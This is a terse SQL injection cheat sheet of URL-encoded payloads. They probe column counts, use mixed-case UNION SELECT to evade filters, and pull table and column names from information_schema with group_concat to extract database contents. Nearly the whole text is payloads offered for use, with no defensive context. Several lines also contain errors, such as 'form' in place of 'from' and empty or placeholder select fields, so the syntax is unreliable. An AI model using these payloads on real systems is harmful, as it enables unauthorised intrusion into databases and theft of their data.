sqli

+order+by+--+ +group+by+--+ +GRoUp+bY+--+

+uniOn+SElect+--+ -+UNioN+seleCt+--+

union+all+select+,group_concat(table_name),,,+form+Information_schema.tables+where+table_schema=database()--+

union+all+select+,group_concat(column_name),,,N-1+form+Information_schema.columns+where+table_name=""--+

union+all+select+1,group_concat+(,0x0a),,,N-1+form+--+